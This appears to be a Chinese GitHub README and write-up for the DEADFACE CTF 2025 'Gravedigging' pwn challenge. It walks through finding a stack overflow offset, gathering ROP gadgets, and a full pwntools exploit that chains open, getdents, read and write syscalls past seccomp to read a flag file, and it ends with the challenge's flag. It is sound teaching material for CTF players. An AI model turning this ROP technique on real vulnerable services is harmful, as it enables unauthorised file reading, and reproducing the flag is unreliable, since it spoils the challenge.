GlitchKraken/Gravedigging

GitHub: GlitchKraken/Gravedigging

一道 DEADFACE CTF 2025 的 PWN 赛题,要求选手在 seccomp 限制下通过 ROP 技术实现文件系统遍历并读取 flag,并附带完整的解题思路与代码。

Stars: 0 | Forks: 0

## 描述 ![alt text](https://raw.githubusercontent.com/GlitchKraken/Gravedigging/main/gravedigging.png) # 注意:fork 会干扰内存位置,玩家必须拥有各自独立的挑战实例!!! Docker 镜像 tar 文件链接:[https://drive.google.com/file/d/1KiW4jkUySsJ4nLEJPUK8WFiGdW_aDH9H/view?usp=drive_link](https://drive.google.com/file/d/1KiW4jkUySsJ4nLEJPUK8WFiGdW_aDH9H/view?usp=drive_link "smartCard-inline") 分数:250 Docker 容器中的文件命名方式类似于坟墓 / 墓碑。玩家将使用 ROP 技术调用 **open**、**read**、**write** 和 **getdents**,以便在 docker 系统上浏览文件,并显示其中有趣的内容——因此被称为“掘墓”。 ‌ **注意**:'Sara Flagg'... 是实际包含 flag 的文件的名称。 ![alt text](https://raw.githubusercontent.com/GlitchKraken/Gravedigging/main/image(16).png) ‌ ‌ Seccomp 将被启用,以防止玩家发出上述以外的 syscall。为了引导玩家朝正确的方向前进,二进制程序本身会提示玩家去检查 seccomp 设置。 ## 挑战 DEADFACE 似乎从他们之前的错误中吸取了一些教训——尽管他们的代码依然很草率,但这个二进制程序比之前的程序锁得更严了。 根据我们的分析,似乎大部分有用的 syscall 都被禁用了,因此也不会有轻易获取的 shell... 我们**确信**运行此程序的服务器上有一些有趣的信息... 但是没有 shell,我们该如何浏览这个服务器上的文件呢?! [下载 gravedigging.zip](https://tinyurl.com/35h65p3y "‌") ‌ ## 解题思路 ‌ **1.)** **初步摸底:** 与之前的挑战一样,玩家需要对二进制文件运行 **checksec**,以观察其架构以及有哪些可用技术。下图证实了我们处于 x64 位环境中,并且重用二进制程序中的代码可能是最简单的方法——因为 NX 位告诉我们,在栈上执行 shellcode 是**不可能**的。 ![alt text](https://raw.githubusercontent.com/GlitchKraken/Gravedigging/main/image(17).png) ‌ ‌ **2.) 动手尝试:** 接下来,玩家至少要探索一下这个二进制程序,以了解接下来该寻找什么。 ![alt text](https://raw.githubusercontent.com/GlitchKraken/Gravedigging/main/image(18).png) 正如我们在上图中看到的,玩家已经得到了一个提示,即查看 seccomp 规则。在我们的目标二进制文件上运行开源的 'seccomp-tools' 程序,结果如下: ![alt text](https://raw.githubusercontent.com/GlitchKraken/Gravedigging/main/image(19).png) 没错,就有趣的 syscall 而言:只允许使用 open、read、write 和 getdents。 只需简单用谷歌搜索一下,就能准确了解它们的作用。 ‌ 3\.) **确认可利用性**:现在玩家已经知道允许哪些 syscall 了,是时候深入挖掘并尝试触发崩溃和 coredump 了,这样我们才能理解/控制 RIP。毕竟,如果我们_无法_控制 RIP,那么利用任何 syscall 的希望就微乎其微了;确认你能够通过某种方式控制程序始终是很重要的。 ‌ 在这里,玩家需要尝试使用类似如下的技术: ``` cyclic [number] ``` 来生成一长串填充字符(padding),以及 ‌ ``` gdb ./program ./core ``` ‌ 从而找出需要_**多少**_填充字符才能控制 RIP。 ![alt text](https://raw.githubusercontent.com/GlitchKraken/Gravedigging/main/image(21).png) ![alt text](https://raw.githubusercontent.com/GlitchKraken/Gravedigging/main/image(22).png) 如上图所示,cyclic 告诉我们,在覆盖 RIP 之前,我们需要 24 字节的填充!确认完全控制的一个好方法是尝试用一个预期的值覆盖这个地址。传统上会使用 0xdeadbeef,但我更喜欢甜点,所以我选择了... ![alt text](https://raw.githubusercontent.com/GlitchKraken/Gravedigging/main/image(23).png) ‌ ‌ 4\.) **寻找资源:** 接下来,我们需要识别出有趣的函数和 gadgets,它们将赋予我们对程序尽可能多的控制权。Gadgets 将允许我们在调用函数时手动设置寄存器,这意味着我们可以有效地利用程序中碰巧存在的指令,来编写我们_自己_的代码。 寻找有趣的函数就像在任何反编译器(如 ghidra、ida、[cutter.re](http://cutter.re "‌") 等)中打开程序一样简单。例如,找到 main 函数或存在漏洞的函数会很有意义;多次调用它们能让我们实现信息泄露、与程序进行动态交互,或者在情况变得一团糟时重新调整 exploit。 至于理解我们被允许使用的 syscall, [https://x64.syscall.sh/](https://x64.syscall.sh/ "‌") 和 [https://www.man7.org/linux/man-pages/man2/syscalls.2.html](https://www.man7.org/linux/man-pages/man2/syscalls.2.html "smartCard-inline") 在这里将大有帮助,它们告诉我们每个 syscall 需要什么参数才能正常运行。 当然,我们也需要一个程序来_寻找_ gadgets! [https://github.com/sashs/Ropper](https://github.com/sashs/Ropper "smartCard-inline") 和 [https://github.com/0vercl0k/rp](https://github.com/0vercl0k/rp "smartCard-inline") 为此都是绝佳的选择。 ‌ 现在,开始搜索吧! ‌ 使用 'ropper -f ./gravedigging',我们寻找有用的 gadgets: 下面这些允许我们手动从栈中弹出到各个寄存器中;实际上,这意味着我们可以将函数调用的每一个参数都设置为我们控制的值。 ![alt text](https://raw.githubusercontent.com/GlitchKraken/Gravedigging/main/image(24).png) 我们还有 syscall,这让我们可以(潜在地)调用 syscall 表上的任何内容!太完美了。 ![alt text](https://raw.githubusercontent.com/GlitchKraken/Gravedigging/main/image(25).png) 5\.) **最后的拼图** 我们差一点点就集齐所有的拼图了,我们只需确保满足了 syscall 的所有函数**要求**: - 我们需要调用 getdents,这样我们才能看到 docker 中程序旁边的所有文件。 - getdents 需要一个已被程序打开的文件夹的 fileDescriptor,所以我们绝对需要先以某种方式调用 open('.')。 - 当我们打开新文件时,我们要记住 fileDescriptor 会是一个递增的数字。由于 0、1、2 已被 stdin、stdout、stderr 占用——当我们打开一个文件时,我们获得的第一个 fd 将会是 3。 - 要调用 open('.'),我们需要能够访问字符串 '.'。这很合理,对吧?幸运的是,二进制程序中**存在**一些以 '.' 结尾的字符串/短语,这意味着玩家只需引用最后一个字符的地址,瞧!你现在就有了一个单点(dot)字符串。 - getdents、read 和 write 都**需要一个可写的缓冲区**——使用 pwndbg 的 'vmmap' 命令可以在程序中找到这样的空间: ![alt text](https://raw.githubusercontent.com/GlitchKraken/Gravedigging/main/image(26).png) 如果我们输入:'x/20s [某块可写内存的地址]',(也就是说,从提供的地址开始检查接下来的 20 个字符串)最终我们会找到一个既可写、又不会影响周围数据导致情况变得一团糟的空间: ![alt text](https://raw.githubusercontent.com/GlitchKraken/Gravedigging/main/image(27).png) ![alt text](https://raw.githubusercontent.com/GlitchKraken/Gravedigging/main/image(28).png) 请特别注意,后面这些带有 “ “ 的地址都可以完美运行,如果你不在乎是否会影响之前的工作,只想尽快拿到 flag,那么重复使用它们也是完全可以的。 6\.) **将所有部分组合起来:** 现在,我们只需编写(大致完成)以下操作的代码: \- 调用 open('.') \- 调用 getdents(3, writableAddress, 200bytes_worth) \- 调用 write(sdout, writableAddress, 200bytes_worth) \- 使用 python 代码 .find('Sara') 来计算有趣的文件名距离 writableAddress 有多少字节,从而获取该字符串的地址。 \- 调用 open('Sara....') \- 调用 read(4, writableAddress, 200) \- 调用 write(stdout, writableAddress, 200) ``` ‌from pwn import * import struct import time ############################################################ # 设置 ############################################################ # 我当前用于测试的本地 docker 实例。 # player 可以简单地更改 addr。 HOST = '172.17.0.2' PORT = 5632 # 这是可选的,它只是允许使用 tmux 进行分屏视图,这样我们 # 就可以在 GDB 中运行时同时看到终端和我们的 exploit。 # context.update(terminal=['tmux', 'splitw', '-h']) #startup the program we wanna hack, in gdb. # p = gdb.debug('./gravedigging', gdbscript=''' # init-pwndbg''') # 建立到 challenge 的远程连接。 p = remote(HOST, PORT) # 覆盖 RIP 所需的 padding。使用 cyclic 30 找到 padding = b"Z" * 24 # 用于测试 RIP 控制目的。 testAddr = p64(0xb0bacafe) # 使用 ropper 找到的 gadgets。 popRAX = p64(0x4011aa) popRDI = p64(0x4011a0) popRDX = p64(0x4011af) popRSI = p64(0x4011a5) # 仅作为 gadget 的 ret,在 stack 未对齐时使用。这在 64-bit 环境中有时会发生。 ret = p64(0x40101a) # '.' 是通过滥用程序中已存在的 strings 找到的。 singleDot = p64(0x40a1d3) # 实际调用 open、read write 和 getdents 将需要用到它。 syscall = p64(0x40119a) # 使用 pwndbg 的 'vmmap' 命令找到。没有 ASLR,因此该位置将保持一致。 # writable_mem = p64(0x40c0f0) writable_mem = p64(0x40c734) # 这里的情况类似,没有 ASLR 意味着我们可以直接硬编码任何与程序本身相关的内容,无需担心。 main = p64(0x401613) vuln = p64(0x4011b4) callPuts = p64(0x4014bd) # 为我们认为包含 flag 的文件赋予一个超级明显的默认值名称,这样如果我们搞砸了,就可以在内存中看到它。 FileNameThatHasFlag = p64(0xdeadc0de) # read,从 fd-3,读取到 writable_memory 中,共 20 字节。 do_read = popRAX+p64(0x0)+popRDI+p64(0x3)+popRSI+writable_mem+p64(20)+syscall # write,将 getdents 的内容输出到标准输出,共 200 字节。 do_write_getdents = popRAX+p64(0x1)+popRDI+p64(0x1)+popRSI+writable_mem+popRDX+p64(0x200)+syscall # 调用 open(".") 以便我们可以查看被黑程序的本地工作 dir 中的文件。 # 返回的 fd 应该为 3。 doOpen_localDir = popRAX+p64(0x2)+popRDI+singleDot+popRSI+p64(0x0)+syscall # 调用 getdents,针对 fd 3、'.',并将本地 dir 条目放入 writable-mem 中,共 0x200 字节。 do_getDents = popRAX+p64(0x4E)+popRDI+p64(0x3)+popRSI+writable_mem+popRDX+p64(0x200)+syscall ############################################################ # EXPLOIT ############################################################ # 注意:我们再次调用 vuln 来重置一些东西,这可能是没必要的。 # 清除 buffer 直到最后一个 string。 p.clean() # 调用 open("." ORRDONLY) p.sendline(padding+doOpen_localDir+vuln) # 现在调用 getDents,希望能将有趣的内容写入内存... p.sendline(padding+do_getDents+vuln) # 现在,将我们转储到内存中的内容取出,并将其 write 到 stdout。 p.sendline(padding+do_write_getdents+vuln) # 将输出保存到变量中,以便我们进行处理。 getDentsOutput = p.clean() # 为了完整性测试,显示我们理应从调用 getdents 中获得的内容。 print("~~~~~~~~~~~~\n\n") print("GetDents Output: " + str(getDentsOutput)) # getdents 输出显示有一个名为 'Sara FLAGG' 的文件... 听起来够有趣的了! # 让我们尝试转储它的内容!不过我们需要获取该文件名的确切地址。 # getDents 的输出整体看起来有点疯狂,所以这里我们使用 '.find()' 来 # 发现这个 'Sara Flagg' string 在我们的 writable_mem 地址前面多少字节处。 fileOffset = getDentsOutput.find(b'Sara') print("FileOffset: " + str(fileOffset)) # 这是使用我们找到的 writable_mem 位置计算出来的,只需将 offset 加到它上面即可。 # 既然我们执行了 p.clean(),就不应该有任何额外的字节需要处理。 FileNameThatHasFlag = (0x40c734 + fileOffset) print("Probable location: " + hex(FileNameThatHasFlag)) print(hexdump(getDentsOutput)) # p.clean() print( str(len(getDentsOutput)) + " Bytes until flag file") # 现在我们已经有了目标,定义 flag 的 open、read 和 write 操作。 openFlagFile = popRAX+p64(0x2)+popRDI+p64(FileNameThatHasFlag)+popRSI+p64(0x0)+syscall readFlagFile = popRAX+p64(0x0)+popRDI+p64(0x4)+popRSI+writable_mem+popRDX+p64(200)+syscall writeFlagFile = popRAX+p64(0x1)+popRDI+p64(0x1)+popRSI+writable_mem+popRDX+p64(200)+syscall # 现在,我们尝试对我们认为是 flag 文件的内容调用 open、read 和 write。 p.sendline(padding+openFlagFile+vuln) p.sendline(padding+readFlagFile+vuln) p.sendline(padding+writeFlagFile+vuln) p.interactive() ``` 大功告成! ![alt text](https://raw.githubusercontent.com/GlitchKraken/Gravedigging/main/image(29).png) ## Flag `deadface{Th3_M05T_P0w3RfUl_5P3LLS_4Re_TH3_On35_N0B0dy_ExP3CT5}`
标签:PWN, ROP, Seccomp沙箱逃逸, Web报告查看器, 二进制漏洞利用, 请求拦截, 逆向工具